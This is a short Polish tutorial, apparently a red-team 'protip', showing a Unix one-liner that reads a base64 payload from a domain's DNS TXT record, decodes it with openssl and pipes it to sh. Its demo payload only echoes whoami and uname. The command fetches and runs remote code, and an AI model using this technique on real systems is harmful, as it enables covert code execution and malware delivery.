host -t txt echo.aptmc.pl|awk -F'"' '{ print $2 }'|openssl base64 -d|sh - uruchom payload z DNS na *nixach

W aptm.in/protip/001d przygotowaliśmy dla systemów Windows onelinera pobierającego kawałek kodu w base64 wykorzystując rekord TXT pewnej domeny. Analogicznie możemy zrobić dla systemów Unix/Linux/MacOS, gdzie domyślnie zainstalowane są takie polecenia jak host, awk, openssl, sh.

Do pobrania rekordu TXT danej domeny DNS wykorzystujemy polecenie host:

🐉 drg@dhq[~]$ host -t txt echo.aptmc.pl
echo.aptmc.pl descriptive text "ZWNobyAiSSdtIGB3aG9hbWlgLCBhbmQgdGhlIGtlcm5lbCBpcyBgdW5hbWUgLWFgIgo="
🐉 drg@dhq[~]$ 

Oczywiście moglibyśmy też wykorzystać nslookup czy dig. Dalej wykorzystując awk pobieramy to co jest w środku cudzysłowu, po czym dekodujemy z wykorzystaniem openssl, który również zainstalowany jest praktycznie w każdym systemie Unix/Linux/MacOS i wszędzie działa tak samo. Po zdekodowaniu przekazujemy nasz payload do uruchomienia przez powłokę: |sh.